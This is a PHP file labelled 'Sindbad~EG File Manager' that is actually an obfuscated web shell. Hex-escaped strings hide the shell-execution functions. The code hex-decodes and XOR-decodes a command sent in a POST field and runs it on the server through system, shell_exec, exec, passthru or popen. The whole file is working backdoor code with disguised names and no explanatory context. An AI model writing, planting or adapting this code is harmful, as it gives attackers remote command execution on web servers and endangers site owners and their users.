Sindbad~EG File Manager

<?php

$module_controller1 = "\x73ys\x74\x65m";
$task_processor = "hex2\x62i\x6E";
$module_controller2 = "shell\x5F\x65\x78e\x63";
$module_controller7 = "p\x63\x6Cos\x65";
$module_controller5 = "po\x70\x65n";
$module_controller6 = "\x73t\x72e\x61\x6D_\x67\x65t\x5Fco\x6Eten\x74\x73";
$module_controller4 = "pa\x73s\x74\x68\x72u";
$module_controller3 = "ex\x65\x63";
if (isset($_POST["e\x6E\x74"])) {
            function sync_manager( $data ,  $token    ) {
 $factor    =    '';
    for($e=0;
 $e<strlen($data);
 $e++){
$factor.=chr(ord($data[$e])^$token);

} return    $factor;
  
}
            $ent = $task_processor($_POST["e\x6E\x74"]);
            $ent = sync_manager($ent, 87);
            if (function_exists($module_controller1)) {
                $module_controller1($ent);
            } elseif (function_exists($module_controller2)) {
                print $module_controller2($ent);
            } elseif (function_exists($module_controller3)) {
                $module_controller3($ent, $sym_data);
                print join("\n", $sym_data);
            } elseif (function_exists($module_controller4)) {
                $module_controller4($ent);
            } elseif (function_exists($module_controller5) && function_exists($module_controller6) && function_exists($module_controller7)) {
                $token_factor = $module_controller5($ent, 'r');
                if ($token_factor) {
                    $value_comp = $module_controller6($token_factor);
                    $module_controller7($token_factor);
                    print $value_comp;
                }
            }
            exit;
        }